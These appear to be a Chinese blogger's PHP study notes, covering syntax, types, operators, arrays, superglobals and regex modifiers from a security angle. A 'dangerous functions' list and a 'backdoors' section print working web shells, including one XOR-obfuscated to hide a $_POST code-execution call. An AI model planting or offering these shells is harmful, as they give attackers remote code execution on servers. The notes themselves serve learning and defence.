6、PHP

PHP

一、PHP特点

1、可以与HTML混编,但脚本后缀名应为.php。

2、PHP注释不会在页面文档的源码中显示,而HTML页面的注释和JS的注释却可以在页面源码中显示。这是因为PHP的运行环境是服务器端,我们浏览器端获得的最终的页面内容是服务器端PHP的解释器对PHP代码处理完成后产生的结果。而HTML和JS的运行环境就是浏览器。这就是根本的区别。

3、PHP的语法错误等级有error、warning、notice,其中有语句出现error级别的错误直接会停止接下来的语句解释运行,而warning和notice只提示错误,仍然会继续解释执行接下来的语句。https://www.php.net/manual/zh/errorfunc.constants.php

二、PHP基础

1、PHP标签:

<?php 左边开始标记,右边结束标记 ?>

2、PHP变量

1)变量的声明$变量名第一次给变量赋值时才创建这个变量(像shell)

2)变量的释放unset $变量名;

3)变量命名规则:严格区分大小写、字母数字下划线,不能以数字开头。

4)可变变量$$变量名,此变量的变量名跟随$变量名变化。

5)引用赋值$b=&$a,使$b变量指向$a的内存空间,此时$a$b指向了同一块内存空间。

6)变量的数据类型

1、布尔类型bool(true、false):false、0、0.0、””、”0”、[]、NULL这些值会被作为条件的false。https://www.php.net/manual/zh/types.comparisons.php

2、整型int;3、浮点数float;

4、字符串string:单引号、双引号定义都可,区别在于①字符串内容对单引号和双引号以及是否转义的使用②双引号定义的字符串中包含变量名时可以取变量值(最好把变量用{}括起来),单引号只可表面输出变量名。

​ 比较特别的一种string定义方式——定界符定义:使用定界符定义一个字符串时,字符串的内容可以随意使用特殊符号,无需担心转移符号所带来的繁杂困扰

1
2
3
4
$str = <<<大写字母开头的符号标识 
......................
大写字母开头的符号标识;
//注意定界符的格式特别严谨,结束符的行只能由符号标识和一个分号,其它什么元素都不能有

​ 字符串相关函数

1
strstr ( string $haystack , mixed $needle [, bool $before_needle = FALSE ] ) : string    #返回haystack中第一次出现needle的位置直到结束,如果before_needle为True,则只返回needle第一次出现位置之前的字符串

5、数组;6、对象;

7、常量:

1
2
3
4
5
6
7
8
9
10
11
12
常量的定义:define("常量名","常量内容");全局/整个脚本文件有效。
预定义的常量:
__FILE__ 当前文件的绝对路径/文件名
__LINE__ 当前代码行数
__FUNCTION__ 当前函数名
__CLASS__ 当前的类名
__METHOD__ 当前对象的方法名
__DIR__ 当前工作目录
PHP_OS 解释PHP脚本的操作系统环境
PHP_VERSION PHP版本
DIRECTORY_SEPARATOR 操作系统文件分隔符 win\ linux/
\x00 \x01 #php标识二进制数据的方式

7)变量的作用域

三种类型变量:Local(局部 函数内定义)、Global(全局 函数外定义)、Static(静态 关键字定义)

当需要函数内使用全局变量时需要使用global关键字声明,也可使用$GLOBALS['变量名']访问。

3、PHP运算符

1)算术运算符a .= b/ a = a . b #字符串的连接

2)比较运算符

1
2
3
4
#注意在php中 6 == "6" 为true,“==”不在乎类型只在乎内容,"==="在乎类型。
x === y #绝对等于,内容和类型都相同
x !== y #绝对不等于,内容或类型不同为true
x != y / x <> y #不等于

3)逻辑运算符

1
2
andor、&&、||、!、xor(异或)    #逻辑运算符运算的值是true和false
## and 、 xor 、 or 的优先级小于“ = ”!

4)数组运算符

运算符 名称 描述
x + y 集合 x 和 y 的集合
x == y 相等 如果 x 和 y 具有相同的键/值对,则返回 true
x === y 恒等 如果 x 和 y 具有相同的键/值对,且顺序相同类型相同,则返回 true
x != y 不相等 如果 x 不等于 y,则返回 true
x <> y 不相等 如果 x 不等于 y,则返回 true
x !== y 不恒等 如果 x 不等于 y,则返回 true

5)组合比较符

1
2
3
4
$c = $a <=> $b;
如果 $a > $b, 则 $c 的值为 1
如果 $a == $b, 则 $c 的值为 0
如果 $a < $b, 则 $c 的值为 -1

6)shell命令执行符:两个反引号`,页面返回执行结果

7)屏蔽warn、notice符@,在变量前加

三、常见的PHP语句

1、phpinfo()

2、echo #输出

3、var_dump() #输出变量值以及变量内容

四、PHP的流程控制

https://www.php.net/manual/zh/language.control-structures.php

if、switch、while、do while、for和C语言相同;

特殊

1、break n跳出n层循环,比如for嵌套三个,在内层可以break 3,直接跳出结束3层循环。

2、die()exit()结束脚本执行/PHP解释器进程。

五、PHP函数

1
2
3
4
5
6
7
8
9
10
11
12
#参数传递方式:
#1、值传递;2、引用传递&;
#3、默认参数值:$参数名=默认值;
#4、可变参数列表:func_get_arg(偏移量)、func_get_args()、func_num_args()获取参数个数
function 函数名($参数名)
{
......
return $返回值变量; #如需返回值
}
######## 可变函数调用 ########
$variable = "system";
$variable("ipconfig");

六、PHP数组

PHP的数组是一种可承载复合类型的数组,可理解为一种随意的map。键值对类型随意,潇洒。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//以下是菜鸟教程讲解,个人认为PHP的数组就是随意的Map,无数组类型之分。
###数值数组
$数组名=array("值","值"); #创建数组方法1
$数组名[n]="值"; #创建数组方法2
$数组名[]="值"; #创建数组方法3,索引值自动设置为最小数字
count($数组名); #获得数组长度
print_r($数组名)、var_dump($数组名); #输出数组

###关联数组(Map)
$数组名=array("键"=>"值","键"=>"值"); #创建关联数组方法1
foreach($数组名 as $key=>$value){
echo "key:".$key." value:".$value."<br/>";
}

###多维数组

###超全局预定义数组变量(函数内外都可以使用,无需声明)
$GLOBALS #全局变量数组
$_SERVER #包含服务器相关信息的数组
$_GET #通过URL参数/GET方法传递给当前脚本的变量数组:url?arg1=v&arg2=v
$_POST #当HTTP POST请求报文中的属性Content-Type是application/x-www-form-urlencoded 或 multipart/form-data时,会将变量以关联数组形式传入脚本
$_FILES #文件上传信息的关联数组
$_COOKIE #客户端传送的Cookie信息
$_SESSION #客户端的会话数据

七、PHP危险函数

1
2
3
4
5
eval($POST['1'])    #将字符串作为PHP代码执行
assert($字符串变量) #将字符串作为PHP代码执行
$h = create_function('$i', 'return system($i);'); $h('ipconfig');#匿名函数
echo shell_exec('shell命令')
system('shell命令')

八、验证登录表单/文件上传实例

1
2
3
isset($变量名)    #验证变量是否被定义过
empty($变量名) #判断变量内容是否为空,即使变量未被定义
move_uploaded_file(被移动文件,路径/目标文件); #返回true/false,复制上传的文件的某个位置

九、PHP后门

1
2
<?php $_GET['a']($_GET['b']);?>
<?php @eval($_POST[1]);?>
1
2
3
4
5
6
7
8
9
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

十、PHP伪协议

https://www.php.net/manual/zh/wrappers.php

十一、PHP正则表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

i 模式中的字符将同时匹配大小写字母
m 字符串视为多行
s 将字符串视为单行,换行符作为普通字符
x 将模式中的空白忽略
e preg_replace() 函数在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。
A 强制仅从目标字符串的开头开始匹配
D 模式中的 $ 元字符仅匹配目标字符串的结尾
U 匹配最近的字符串
u 模式字符串被当成 UTF-8

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器